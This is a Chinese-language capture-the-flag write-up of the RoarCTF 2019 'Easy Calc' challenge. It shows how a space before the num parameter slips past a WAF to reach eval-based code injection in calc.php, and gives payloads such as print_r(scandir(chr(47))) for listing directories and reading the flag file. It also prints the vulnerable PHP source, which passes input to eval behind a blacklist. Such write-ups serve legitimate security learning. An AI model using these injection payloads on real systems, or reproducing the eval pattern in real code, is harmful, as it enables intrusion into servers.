[RoarCTF 2019]Easy Calc
分析
进入靶场:
- 一个计算器,能正常计算。
- 看一下源代码。
截取了重要部分出来:
<!--I've set up WAF to ensure security.-->
<script>
$('#calc').submit(function(){
$.ajax({
url:"calc.php?num="+encodeURIComponent($("#content").val()),
type:'GET',
success:function(data){
$("#result").html(`<div class="alert alert-success">
<strong>答案:</strong>${data}
</div>`);
},
error:function(){
alert("这啥?算不来!");
}
})
return false;
})
</script>
url:"calc.php?num="+encodeURIComponent($("#content").val()),
:提交的是这个接口
发现是可以提交数字的但不能提交字符串
可以利用PHP的字符串解析特性来绕过一下:在参数num
前面加上空格
calc.php? num=phpinfo();
-
发现可成功执行
phpinfo()
,存在命令注入漏洞。 -
但
system()
执行的命令没有回显。 -
换个思路,用打印函数将需要的东西打印出来:
calc.php?%20num=print_r(scandir(chr(47)));
- 这里使用
chr(47)
是因为/
被过滤了。
- 这里使用
-
可以看到根目录下有个文件
f1agg
可以用函数将这个文件读出来:
- 正是我们要的Flag。
**注:**直接访问calc.php
会直接出来源码…
<?php
error_reporting(0);
if(!isset($_GET['num'])){
show_source(__FILE__);
}else{
$str = $_GET['num'];
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $str)) {
die("what are you want to do?");
}
}
eval('echo '.$str.';');
}
?>